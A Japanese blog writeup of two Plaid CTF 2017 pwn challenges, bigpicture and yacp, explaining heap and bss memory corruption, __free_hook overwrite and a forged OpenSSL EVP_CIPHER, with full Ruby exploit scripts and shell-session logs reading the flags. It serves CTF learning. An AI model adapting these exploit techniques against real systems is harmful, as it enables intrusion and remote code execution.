しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

Plaid CTF 2017 writeup

Plaid CTF 2017にbinjaで参加しました。

チームで2137pts入れて15位、私は2問解いて500pts入れました。
もう1問くらいは解きたかった……(´・ω・`)

解いた問題のwriteupを置いておきます(`・ω・´)

bigpicture (Pwn 200)

$ ./bigpicture
Let's draw a picture!
How big? 7x3
> 1,1,(
> 2,1,-
> 3,1,A
> 4,1,-
> 5,1,)
> a

 (-A-)

Bye!

お絵かきアプリ。
珍しいことにソースコードが付いていた。

まずは下調べ。

$ file bigpicture
bigpicture: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e2e64b09ef859da76f059113837112fd5b410f7d, not stripped

$ checksec --file bigpicture
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   bigpicture

主な仕様はこんな感じ。

  • 最初にキャンバスのサイズを入力すると、キャンバス用の領域がcallocで確保される
  • x,y,cと入力すると、キャンバスの(x, y)にcが1バイト書き込まれる
    • すでに何か書き込まれている場合は、上書きされる前の文字を教えてくれる
    • 座標に負数が指定できるため、out-of-bounds read/writeができる
  • “quit"と入力すると終了
  • それ以外の文字列を入力するとキャンバスを出力した後に終了
  • 終了時にキャンバス用の領域はfreeする

x86/x86_64なLinuxでは「mmapで確保された領域同士の相対距離は、バイナリを再起動しても変わらない」という性質があるので、今回はこれを利用する。(参考

試しに1000x1000(callocの内部でmmapが呼ばれるようなサイズ)なキャンバスを作ると、私の環境ではld-2.23.so周辺に領域が確保された。

0x000055aa0c7ac000 0x000055aa0c7ad000 r-xp  /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture
0x000055aa0c9ad000 0x000055aa0c9ae000 r--p  /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture
0x000055aa0c9ae000 0x000055aa0c9af000 rw-p  /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture
0x00007f9f52c8d000 0x00007f9f52e4c000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f9f52e4c000 0x00007f9f5304c000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f9f5304c000 0x00007f9f53050000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f9f53050000 0x00007f9f53052000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f9f53052000 0x00007f9f53056000 rw-p  mapped
0x00007f9f53056000 0x00007f9f5307c000 r-xp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f9f5316c000 0x00007f9f53264000 rw-p  mapped ←ここ
0x00007f9f53279000 0x00007f9f5327b000 rw-p  mapped
0x00007f9f5327b000 0x00007f9f5327c000 r--p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f9f5327c000 0x00007f9f5327d000 rw-p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f9f5327d000 0x00007f9f5327e000 rw-p  mapped
0x00007ffc03ea2000 0x00007ffc03ec3000 rw-p  [stack]
0x00007ffc03f9b000 0x00007ffc03f9d000 r--p  [vvar]
0x00007ffc03f9d000 0x00007ffc03f9f000 r-xp  [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

キャンバスのあるページとlibc baseとの相対距離→0x7f9f5316c000 - 0x7f9f52c8d000 = 0x4df000

もう一回実行してみても同じ結果になる。

0x000055c5142b0000 0x000055c5142b1000 r-xp  /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture
0x000055c5144b1000 0x000055c5144b2000 r--p  /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture
0x000055c5144b2000 0x000055c5144b3000 rw-p  /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture
0x00007fe767e78000 0x00007fe768037000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007fe768037000 0x00007fe768237000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007fe768237000 0x00007fe76823b000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007fe76823b000 0x00007fe76823d000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007fe76823d000 0x00007fe768241000 rw-p  mapped
0x00007fe768241000 0x00007fe768267000 r-xp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007fe768357000 0x00007fe76844f000 rw-p  mapped ←ここ
0x00007fe768464000 0x00007fe768466000 rw-p  mapped
0x00007fe768466000 0x00007fe768467000 r--p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007fe768467000 0x00007fe768468000 rw-p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007fe768468000 0x00007fe768469000 rw-p  mapped
0x00007ffea9ed4000 0x00007ffea9ef5000 rw-p  [stack]
0x00007ffea9fad000 0x00007ffea9faf000 r--p  [vvar]
0x00007ffea9faf000 0x00007ffea9fb1000 r-xp  [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

キャンバスのあるページとlibc baseとの相対距離→0x7fe768357000 - 0x7fe767e78000 = 0x4df000

今回利用する脆弱性は、キャンバス用の領域より手前にある領域を読み書きできるというものなので、

  1. キャンバスの先頭に"sh\0"を仕込む
  2. out-of-bounds readでlibcのbssを読み、libcのアドレスをリークする(今回はstderrを読んだ)
  3. out-of-bounds writeで__free_hooksystemに書き換える
  4. プログラム終了時にsystem("sh")が実行される

とすればシェルが奪える。

なお、ローカルとリモートとでキャンバスとlibc base間の相対距離が違っていたため、適当にリークして調節した。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "bigpicture.chal.pwning.xxx"
  port = 420
  libc_offset = {
    "stderr" => 0x3c4700,
    "_IO_2_1_stderr_" => 0x3c4540,
    "__free_hook" => 0x3c57a8,
    "system" => 0x45390
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "stderr" => 0x3c4700,
    "_IO_2_1_stderr_" => 0x3c4540,
    "__free_hook" => 0x3c57a8,
    "system" => 0x45390
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("> ")
  end
end

def tube
  @tube
end

def write_byte(addr, byte)
  raise unless byte.chr.scanf_safe?
  y = (addr - Buf) / Height
  x = (addr - Buf) % Width

  tube.recv_until_prompt
  tube.sendline("%d,%d,%c" % [y, x, byte.chr])
end

def leak_byte(addr, recover = false)
  write_byte(addr, 1)
  byte = tube.recv_capture(/overwriting (.)!/)[0].ord
  write_byte(addr, byte) if recover
  byte
end

def write_qword(addr, value)
  [value].pack("Q").bytes[0...6].each_with_index{|b, i| write_byte(addr + i, b)}
end

def leak_address(addr, recover = false)
  6.times.map{|i| leak_byte(addr + i, recover).chr}.join.ljust(8, "\0").unpack("Q")[0]
end

Width = 1000
Height = 1000
if remote
  Buf = 0x7fd2e246e010
  LibcBase = 0x7fd2e1f80000
else
  Buf = 0x7ffff7ee9010
  LibcBase = 0x7ffff7a0e000
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] make a new canvas"
  tube.recv_until("How big? ")
  tube.sendline("%dx%d" % [Width, Height])

  puts "[*] write \"sh\""
  write_byte(Buf, "s".ord)
  write_byte(Buf + 1, "h".ord)

  puts "[*] leak libc base"
  libc_base = leak_address(LibcBase + libc_offset["stderr"]) - libc_offset["_IO_2_1_stderr_"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite __free_hook"
  write_qword(LibcBase + libc_offset["__free_hook"], libc_base + libc_offset["system"])

  puts "[*] launch shell"
  tube.recv_until_prompt
  tube.sendline("quit")
  tube.recv

  tube.interactive
}
$ ruby bigpicture.rb r
[*] connected
[*] make a new canvas
[*] write "sh"
[*] leak libc base
libc base = 0x7fcebac0c000
[*] overwrite __free_hook
[*] launch shell
[*] interactive mode

id
uid=1000(bigpicture) gid=1000(bigpicture) groups=1000(bigpicture)
ls -la
total 96
drwxr-xr-x  23 root root  4096 Apr 12 18:49 .
drwxr-xr-x  23 root root  4096 Apr 12 18:49 ..
drwxr-xr-x   2 root root  4096 Apr 12 18:49 bin
drwxr-xr-x   3 root root  4096 Apr 12 18:50 boot
drwxr-xr-x  19 root root  3840 Apr 22 21:12 dev
drwxr-xr-x  90 root root  4096 Apr 22 04:28 etc
drwxr-xr-x   3 root root  4096 Apr 22 04:28 home
lrwxrwxrwx   1 root root    32 Apr 12 18:49 initrd.img -> boot/initrd.img-4.4.0-72-generic
lrwxrwxrwx   1 root root    32 Apr 12 18:42 initrd.img.old -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  22 root root  4096 Apr 12 18:44 lib
drwxr-xr-x   2 root root  4096 Apr 12 18:48 lib64
drwx------   2 root root 16384 Apr 12 18:41 lost+found
drwxr-xr-x   4 root root  4096 Apr 12 18:41 media
drwxr-xr-x   2 root root  4096 Feb 15 20:19 mnt
drwxr-xr-x   2 root root  4096 Apr 22 04:18 opt
dr-xr-xr-x 130 root root     0 Apr 22 21:12 proc
drwx------   5 root root  4096 Apr 22 18:27 root
drwxr-xr-x  22 root root   900 Apr 23 06:25 run
drwxr-xr-x   2 root root 12288 Apr 12 18:50 sbin
drwxr-xr-x   2 root root  4096 Jan 14 15:06 snap
drwxr-xr-x   2 root root  4096 Feb 15 20:19 srv
dr-xr-xr-x  13 root root     0 Apr 22 21:23 sys
drwxrwxrwt   7 root root  4096 Apr 23 13:17 tmp
drwxr-xr-x  10 root root  4096 Apr 12 18:41 usr
drwxr-xr-x  13 root root  4096 Apr 12 18:45 var
lrwxrwxrwx   1 root root    29 Apr 12 18:49 vmlinuz -> boot/vmlinuz-4.4.0-72-generic
lrwxrwxrwx   1 root root    29 Apr 12 18:42 vmlinuz.old -> boot/vmlinuz-4.4.0-62-generic
cat /home/*/flag
PCTF{draw_me_like_one_of_your_pwn200s}
exit
[*] end interactive mode
[*] connection closed

FLAG: PCTF{draw_me_like_one_of_your_pwn200s}

yacp (Pwn 300)

$ ./yacp a
Welcome to the cryptotool!
Because apparently, you can never have too much crypto!

What would you like to do?
0. Load data
1. Generate random data
2. Hash data
3. Encrypt data
4. Decrypt data
5. Display data

2048バイトまでのデータを任意の鍵・IVで暗号化・復号したり、ハッシュを求めたりするプログラム。

まずは下調べ。

$ file yacp
yacp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cd67f97996f5dbd7d6123dca8d299c0a43439bb1, stripped

$ checksec --file yacp
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   yacp

主な仕様はこんな感じ。

  • 0. Load data
    • bss上にあるbuffer[32][2048]に最大2048バイトの文字列を読み込む
    • bufferのどの要素に読み込むかは指定が可能
  • 1. Generate random data
    • bufferの好きな要素に/dev/urandomから読んだバイト列を格納する
    • 長さは指定可能(最大2048バイト)
  • 2. Hash data
    • buffer[input]のハッシュをbuffer[output]に格納する
    • input, output, ハッシュの種類はユーザが指定する
  • 3. Encrypt data
    • buffer[input]を鍵buffer[key]とIVbuffer[iv]を使って暗号化し、buffer[output]に格納する
    • input, output, key, iv, 暗号の種類はユーザが指定する
    • パディングの有無はデフォルト設定のままなので、2048バイトのデータをAES-128-CBCとかで暗号化するとパディングされて2064バイトになる
  • 4. Decrypt data
    • 3. Encrypt dataの復号バージョン
  • 5. Display data
    • bufferの好きな要素を出力する
  • bssのレイアウトはこんな感じ
unsigned char buffer[32][2048];
unsigned int length[32];  // length[i]にはbuffer[i]の長さが格納されている
EVP_MD_CTX md_ctx;  // Hash data内でEVP_Digest系の関数に渡す構造体
EVP_CIPHER_CTX cipher_ctx;  // Encrypt data/Decrypt data内でEVP_Cipher系の関数に渡す構造体
EVP_MD *evp_md;
EVP_CIPHER *evp_cipher;

暗号化の際のパディングによるbofを利用してlength[0]を大きくすることで、bssは好きに読み書きできるようになる。

問題はeipをどうやって奪うかだが、EVP_CIPHER_CTXの宣言やEVP_CipherFinal_Exの実装を読んでみると……

// https://github.com/openssl/openssl/blob/master/crypto/evp/evp_locl.h
struct evp_cipher_ctx_st {
    const EVP_CIPHER *cipher;
    ENGINE *engine;             /* functional reference if 'cipher' is
                                 * ENGINE-provided */
    int encrypt;                /* encrypt or decrypt */
    int buf_len;                /* number we have left */
    unsigned char oiv[EVP_MAX_IV_LENGTH]; /* original iv */
    unsigned char iv[EVP_MAX_IV_LENGTH]; /* working iv */
    unsigned char buf[EVP_MAX_BLOCK_LENGTH]; /* saved partial block */
    int num;                    /* used by cfb/ofb/ctr mode */
    /* FIXME: Should this even exist? It appears unused */
    void *app_data;             /* application stuff */
    int key_len;                /* May change for variable length cipher */
    unsigned long flags;        /* Various flags */
    void *cipher_data;          /* per EVP data */
    int final_used;
    int block_mask;
    unsigned char final[EVP_MAX_BLOCK_LENGTH]; /* possible final block */
} /* EVP_CIPHER_CTX */ ;

// https://github.com/openssl/openssl/blob/master/crypto/include/internal/evp_int.h
struct evp_cipher_st {
    int nid;
    int block_size;
    /* Default value for variable length ciphers */
    int key_len;
    int iv_len;
    /* Various flags */
    unsigned long flags;
    /* init key */
    int (*init) (EVP_CIPHER_CTX *ctx, const unsigned char *key,
                 const unsigned char *iv, int enc);
    /* encrypt/decrypt data */
    int (*do_cipher) (EVP_CIPHER_CTX *ctx, unsigned char *out,
                      const unsigned char *in, size_t inl);
    /* cleanup ctx */
    int (*cleanup) (EVP_CIPHER_CTX *);
    /* how big ctx->cipher_data needs to be */
    int ctx_size;
    /* Populate a ASN1_TYPE with parameters */
    int (*set_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
    /* Get parameters from a ASN1_TYPE */
    int (*get_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
    /* Miscellaneous operations */
    int (*ctrl) (EVP_CIPHER_CTX *, int type, int arg, void *ptr);
    /* Application data */
    void *app_data;
} /* EVP_CIPHER */ ;
// https://github.com/openssl/openssl/blob/master/crypto/evp/evp_enc.c
int EVP_CipherFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl)
{
    if (ctx->encrypt)
        return EVP_EncryptFinal_ex(ctx, out, outl);
    else
        return EVP_DecryptFinal_ex(ctx, out, outl);
}

int EVP_DecryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl)
{
    int i, n;
    unsigned int b;
    *outl = 0;

    if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
        i = ctx->cipher->do_cipher(ctx, out, NULL, 0);
        if (i < 0)
            return 0;
        else
            *outl = i;
        return 1;
    }

    // (snip)
}
  • EVP_CIPHER_CTX構造体はEVP_CIPHER構造体へのポインタcipherを持っている
  • EVP_CIPHER構造体には複数の関数ポインタが含まれている
  • EVP_DecryptFinal_ex関数は、ctx->cipher->flagsの特定のビットが立っている場合、ctx->cipher->do_cipherを呼ぶ

ということが分かる。

ここまでで分かったことを組み合わせると、

  1. 暗号の際のパディングによるboflengthの先頭部分を上書きし、length[0]を大きくする
  2. buffer[0]を出力させると、bssに残っているevp_cipherの指すアドレスが出力されるので、libcryptoのベースアドレスが分かる(ライブラリ同士の相対距離が一定になることを利用するとlibcのベースアドレスも分かる)
  3. flagsEVP_CIPH_FLAG_CUSTOM_CIPHERを設定し、do_ciphersystemのアドレスを入れた偽のEVP_CIPHERbufferに仕込む
  4. cipher_ctxの先頭にあるEVP_CIPHER *cipherを偽EVP_CIPHERに向け、ENGINE *engineの部分に";sh;"という文字列を入れておくと、EVP_CipherFinal_ex内でsystem("ゴミ;sh;")が呼ばれる

という手順でシェルを奪うことができる。

#coding:ascii-8bit
require "pwnlib"
require "openssl"

remote = ARGV[0] == "r"
if remote
  host = "yacp.chal.pwning.xxx"
  port = 7961
  lib_offset = 0x1b6000
  libc_offset = {
    "system" => 0x3ada0
  }
  libcrypto_offset = {
    "aes-128-cbc" => 0x1dad60
  }
else
  host = "localhost"
  port = 54321
  lib_offset = 0x1b6000
  libc_offset = {
    "system" => 0x3ada0
  }
  libcrypto_offset = {
    "aes-128-cbc" => 0x1dad60
  }
end

offset = {
  "buffer" => 0x0804c0e0,
  "cipher" => 0x0805c208
}

class PwnTube
  def recv_until_prompt
    recv_until("5. Display data\n")
  end

  def recv_exact(n)
    n.times.map{recv(1)}.join
  end
end

def tube
  @tube
end

def solve_pow(problem)
  PwnTube.open("localhost", 54322, nil){|t|
    t.send(problem)
    return t.recv(32)
  }
end

def select_buffer(index)
  tube.recv_until("Which buffer (0-31) would you like to use?\n")
  tube.sendline("#{index}")
end

def load_data(index, data)
  tube.recv_until_prompt
  tube.sendline("0")
  tube.recv_until("How many bytes is the data?\n")
  tube.sendline("#{data.length}")
  select_buffer(index)
  tube.recv_until("bytes\n")
  tube.sendline(data.unpack("H*")[0])
end

def generate_random_data(index, length)
  tube.recv_until_prompt
  tube.sendline("1")
  tube.recv_until("How many bytes of data do you want?\n")
  tube.sendline("#{length}")
end

def hash_data(type, input, output)
  tube.recv_until_prompt
  tube.sendline("2")
  tube.recv_until("What type of hash would you like to perform?\n")
  tube.sendline(type)
  select_buffer(input)
  select_buffer(output)
end

def encrypt_data(type, input, output, key, iv)
  tube.recv_until_prompt
  tube.sendline("3")
  tube.recv_until("What type of cipher would you like to perform?\n")
  tube.sendline(type)
  select_buffer(input)
  select_buffer(output)
  select_buffer(key)
  select_buffer(iv)
end

def decrypt_data(type, input, output, key, iv)
  tube.recv_until_prompt
  tube.sendline("4")
  tube.recv_until("What type of cipher would you like to perform?\n")
  tube.sendline(type)
  select_buffer(input)
  select_buffer(output)
  select_buffer(key)
  select_buffer(iv)
end

def display_data(index)
  tube.recv_until_prompt
  tube.sendline("5")
  select_buffer(index)
end

# generate a payload which the last block of
#   aes128cbc(iv, key, gen_payload(iv, key, trailer))
# is trailer + padding
def gen_payload(iv, key, trailer)
  cipher = OpenSSL::Cipher.new("aes-128-cbc")
  cipher.encrypt
  cipher.iv = iv
  cipher.key = key
  cipher.padding = 0
  d = cipher.update("\0" * 0x7f0)[0x7e0...0x7f0]

  cipher = OpenSSL::Cipher.new("aes-128-ecb")
  cipher.decrypt
  cipher.iv = iv
  cipher.key = key
  cipher.padding = 0
  a = cipher.update(trailer + (16 - trailer.length).chr * (16 - trailer.length))
  b = "\x10" * 16

  cipher = OpenSSL::Cipher.new("aes-128-ecb")
  cipher.decrypt
  cipher.iv = "\0" * 16
  cipher.key = "\0" * 16
  cipher.padding = 0
  c = cipher.update(a.bytes.zip(b.bytes).map{|a, b| (a ^ b).chr}.join)

  "\0" * 0x7f0 + d.bytes.zip(c.bytes).map{|a, b| (a ^ b).chr}.join
end

def encrypt_aes128cbc(iv, key, data)
  cipher = OpenSSL::Cipher.new("aes-128-cbc")
  cipher.encrypt
  cipher.iv = iv
  cipher.key = key
  cipher.padding = 1
  cipher.update(data) + cipher.final
end

iv = "\0" * 16
key = "\0" * 16

PwnTube.open(host, port){|t|
  @tube = t

  if remote
    puts "[*] solve PoW"
    problem = tube.recv_capture(/It starts with ([0-9a-f]{16}) and is 32 characters long\.\n/)[0]
    puts "problem = #{problem}"
    answer = solve_pow(problem)
    puts "answer = #{answer.unpack("H*")[0]}"
    tube.send(answer)
  end

  puts "[*] overwrite length"
  load_data(28, gen_payload(iv, key, [offset["cipher"] + 4 - offset["buffer"]].pack("L")))
  load_data(29, iv)
  load_data(30, key)
  encrypt_data("aes-128-cbc", 28, 31, 29, 30)

  puts "[*] leak libcrypto base"
  display_data(0)
  tube.recv_until(" = ")
  tube.recv_exact((offset["cipher"] - offset["buffer"]) * 2)
  libcrypto_base = [tube.recv_capture(/([0-9a-f]{8})\n/)[0]].pack("H*").unpack("L")[0] - 0x1dad60
  libc_base = libcrypto_base - lib_offset
  puts "libcrypto base = 0x%08x" % libcrypto_base
  puts "libc base = 0x%08x" % libc_base

  puts "[*] create fake EVP_CIPHER"
  payload = ""
  payload << [0].pack("L") * 4
  payload << [0x100000].pack("L")  # EVP_CIPH_FLAG_CUSTOM_CIPHER
  payload << [libc_base + libc_offset["system"]].pack("L") * 8
  load_data(10, payload)

  puts "[*] prepare for overwriting EVP_CIPHER_CTX"
  payload = ""
  payload << "A" * 0x800
  payload << [0].pack("L") * 32
  payload << "A" * 0x18
  payload << [offset["buffer"] + 0x800 * 10].pack("L")
  payload << ";sh;".ljust(12, "\0")
  payload = encrypt_aes128cbc(iv, key, payload)
  payload.chars.each_slice(0x800).each_with_index{|s, i| load_data(i, s.join)}

  puts "[*] overwrite length"
  load_data(28, gen_payload(iv, key, [payload.length].pack("L")))
  encrypt_data("aes-128-cbc", 28, 31, 29, 30)

  puts "[*] overwrite EVP_CIPHER_CTX"
  decrypt_data("aes-128-cbc", 0, 31, 29, 30)

  tube.interactive
}
$ ruby yacp.rb r
[*] connected
[*] solve PoW
problem = 2fee33f21adaf2b5
answer = 3266656533336632316164616632623568600f0b000000000000000000000000
[*] overwrite length
[*] leak libcrypto base
libcrypto base = 0xf7573000
libc base = 0xf73bd000
[*] create fake EVP_CIPHER
[*] prepare for overwriting EVP_CIPHER_CTX
[*] overwrite length
[*] overwrite EVP_CIPHER_CTX
[*] interactive mode
sh: 1: �: not found
id
uid=1000(yacp) gid=1000(yacp) groups=1000(yacp)
ls -la
total 104
drwxr-xr-x  25 root root  4096 Apr 19 19:14 .
drwxr-xr-x  25 root root  4096 Apr 19 19:14 ..
drwxr-xr-x   2 root root  4096 Apr 12 18:49 bin
drwxr-xr-x   3 root root  4096 Apr 12 18:50 boot
drwxr-xr-x  19 root root  3840 Apr 22 05:26 dev
drwxr-xr-x  90 root root  4096 Apr 19 19:17 etc
drwxr-xr-x   3 root root  4096 Apr 19 19:11 home
lrwxrwxrwx   1 root root    32 Apr 12 18:49 initrd.img -> boot/initrd.img-4.4.0-72-generic
lrwxrwxrwx   1 root root    32 Apr 12 18:42 initrd.img.old -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x  23 root root  4096 Apr 19 19:16 lib
drwxr-xr-x   2 root root  4096 Apr 19 19:14 lib32
drwxr-xr-x   2 root root  4096 Apr 12 18:48 lib64
drwxr-xr-x   2 root root  4096 Apr 19 19:14 libx32
drwx------   2 root root 16384 Apr 12 18:41 lost+found
drwxr-xr-x   4 root root  4096 Apr 12 18:41 media
drwxr-xr-x   2 root root  4096 Feb 15 20:19 mnt
drwxr-xr-x   2 root root  4096 Apr 19 18:41 opt
dr-xr-xr-x 119 root root     0 Apr 22 05:26 proc
drwx------   5 root root  4096 Apr 19 19:37 root
drwxr-xr-x  22 root root   880 Apr 22 06:25 run
drwxr-xr-x   2 root root 12288 Apr 12 18:50 sbin
drwxr-xr-x   2 root root  4096 Jan 14 15:06 snap
drwxr-xr-x   2 root root  4096 Feb 15 20:19 srv
dr-xr-xr-x  13 root root     0 Apr 23 01:50 sys
drwxrwxrwt   7 root root  4096 Apr 23 13:17 tmp
drwxr-xr-x  12 root root  4096 Apr 19 19:14 usr
drwxr-xr-x  13 root root  4096 Apr 12 18:45 var
lrwxrwxrwx   1 root root    29 Apr 12 18:49 vmlinuz -> boot/vmlinuz-4.4.0-72-generic
lrwxrwxrwx   1 root root    29 Apr 12 18:42 vmlinuz.old -> boot/vmlinuz-4.4.0-62-generic
cat /home/*/flag
PCTF{porque_no_los_dos}
[*] connection closed

FLAG: PCTF{porque_no_los_dos}